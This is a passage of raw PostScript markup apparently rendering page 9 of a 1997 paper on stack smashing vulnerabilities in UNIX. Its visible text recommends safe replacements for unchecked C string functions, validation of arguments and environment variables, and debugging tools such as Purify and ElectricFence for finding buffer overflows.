DOCLIPBOX n 2477 2508 M (realpath\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2479 2210 M (getopt\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2479 1911 M (getpass\(\)) ST GR GR %%PageTrailer AXPageSave restore showpage %%Page: 22 22 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3260 9874 M (Figure 11.1.a vulnerable functions in C) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9605 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1901 9605 M (general, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 9605 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3172 9605 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3481 9605 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3939 9605 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4073 9605 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4604 9605 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4793 9605 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4927 9605 M (result ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5357 9605 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5546 9605 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5957 9605 M (storage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6498 9605 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 9605 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7006 9605 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9605 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9329 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1602 9329 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2290 9329 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2959 9329 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3157 9329 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3558 9329 M (terms, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4030 9329 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4653 9329 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4823 9329 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5436 9329 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5800 9329 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 9329 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6490 9329 M (strings ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6993 9329 M (without ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9053 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1905 9053 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2308 9053 M (length ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 9053 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3123 9053 M (insecure. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3860 9053 M (Some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4338 9053 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5138 9053 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5855 9053 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6267 9053 M (suitable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6882 9053 M (`drop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7341 9053 M (i) ST -13 0 MR (n) ST -13 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8777 M (replacements, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2189 8777 M (others ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2655 8777 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 8777 M (not. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3235 8777 M (Whenever ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3978 8777 M (possible, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4624 8777 M (alternative ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5385 8777 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6063 8777 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6446 8777 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6662 8777 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7026 8777 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 8777 M (help ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8501 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1669 8501 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1968 8501 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2692 8501 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3056 8501 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3217 8501 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 8501 M (susceptible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4268 8501 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4447 8501 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4839 8501 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5518 8501 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6178 8501 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6367 8501 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6961 8501 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 8501 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8225 M (suitable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1806 8225 M (replacements ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2771 8225 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3052 8225 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3840 8225 M (functions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4587 8225 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4987 8225 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5914 8225 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6536 8225 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 8225 M (excessive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7949 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1914 7949 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2208 7949 M (arguments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2947 7949 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3260 7949 M (need ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3619 7949 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3793 7949 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3995 7949 M (checked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4585 7949 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4825 7949 M (invalid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5331 7949 M (data. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5737 7949 M (Recall ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6207 7949 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6501 7949 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6888 7949 M (smashers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7673 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 7673 M (creative ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2097 7673 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2415 7673 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2835 7673 M (hide ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3199 7673 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3591 7673 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3983 7673 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4301 7673 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4721 7673 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5252 7673 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5791 7673 M (information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6655 7673 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 7673 M (excessive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7397 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1928 7397 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2245 7397 M (arguments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3007 7397 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3214 7397 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4123 7397 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 7397 M (\(see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5129 7397 M (figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5595 7397 M (7.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5862 7397 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6170 7397 M (section ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6709 7397 M (9.1\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7125 7397 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7121 M (securing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1838 7121 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2339 7121 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2719 7121 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3109 7121 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3332 7121 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 7121 M (comprehensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4546 7121 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5112 7121 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5307 7121 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5530 7121 M (effective, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6221 7121 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6527 7121 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6759 7121 M (avenues ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7121 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6845 M (unauthorized input must be inspected and properly terminated if invalid.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6569 M (Commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2611 6569 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3321 6569 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3706 6569 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3925 6569 M (CenterLine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4754 6569 M (s) ST -2 0 MR (o) ST -3 0 MR (f) ST -3 0 MR (t) ST -3 0 MR (w) ST -3 0 MR (a) ST -3 0 MR (r) ST -3 0 MR (e) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5503 6569 M (Code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5934 6569 M (Center ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6458 6569 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6677 6569 M (Pure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7063 6569 M (A) ST -4 0 MR (t) ST -4 0 MR (r) ST -4 0 MR (i) ST -4 0 MR (a) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6293 M (Purify, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1763 6293 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2107 6293 M (non-commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3303 6293 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4037 6293 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4446 6293 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4689 6293 M (Brian ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5163 6293 M (M) ST -3 0 MR (a) ST -3 0 MR (r) ST -4 0 MR (i) ST -4 0 MR (c) ST -4 0 MR (k) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5843 6293 M (GCT ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6280 6293 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6523 6293 M (Bruce ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7025 6293 M (P) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (e) ST -4 0 MR (n) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6017 M (ElectricFence ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2198 6017 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2505 6017 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2738 6017 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3119 6017 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3324 6017 M (assist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3761 6017 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4727 6017 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4932 6017 M (locating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5543 6017 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6027 6017 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6769 6017 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7085 6017 M (illegal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5741 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1816 5741 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2570 5741 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 5741 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3505 5741 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3677 5741 M (compilers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4395 5741 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4622 5741 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4895 5741 M (look ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5251 5741 M (for. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5591 5741 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6304 5741 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 5741 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 5741 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5465 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1604 5465 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1887 5465 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2234 5465 M (catch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2637 5465 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3290 5465 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3656 5465 M (reactively, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4406 5465 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 5465 M (proactively; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5558 5465 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5730 5465 M (test ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6013 5465 M (case ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 5465 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6728 5465 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7094 5465 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5189 M (provokes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1886 5189 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2163 5189 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2579 5189 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3282 5189 M (hole. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3726 5189 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4676 5189 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 5189 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5333 5189 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5749 5189 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6453 5189 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6758 5189 M (offer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7157 5189 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4913 M (information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2047 4913 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2385 4913 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3001 4913 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3469 4913 M (facilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4094 4913 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 4913 M (investigating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5425 4913 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5551 4913 M (p) ST -3 0 MR (r) ST -3 0 MR (o) ST -3 0 MR (g) ST -3 0 MR (r) ST -3 0 MR (a) ST -3 0 MR (m) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6263 4913 M (abnormal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6944 4913 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4637 M (operations. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4361 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1963 4361 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2150 4361 M (debugging ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2927 4361 M (tools, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3368 4361 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3786 4361 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4492 4361 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4855 4361 M (offer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5256 4361 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5675 4361 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6037 4361 M (simple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6557 4361 M (`segmentation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4085 M (v) ST -2 0 MR (i) ST -3 0 MR (o) ST -3 0 MR (l) ST -3 0 MR (a) ST -3 0 MR (t) ST -3 0 MR (i) ST -3 0 MR (o) ST -3 0 MR (n) ST -3 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1879 4085 M (messages. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 4085 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3351 4085 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 4085 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3660 4085 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4360 4085 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4542 4085 M (remember ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5272 4085 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5574 4085 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5969 4085 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6652 4085 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6909 4085 M (designed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3809 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1426 3809 M (remove ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2011 3809 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2410 3809 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2735 3809 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2986 3809 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 3809 M (specialize ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4024 3809 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4238 3809 M (security. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4934 3809 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5895 3809 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6322 3809 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 3809 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 3809 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3533 M (consider ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1833 3533 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2101 3533 M (current ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2638 3533 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2842 3533 M (future ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3305 3533 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4055 3533 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4916 3533 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 3533 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5388 3533 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6102 3533 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6426 3533 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6834 3533 M (battery ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3533 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3257 M (tests ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1565 3257 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1835 3257 M (submitted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2557 3257 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2752 3257 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2892 3257 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3523 3257 M (whether ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4125 3257 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 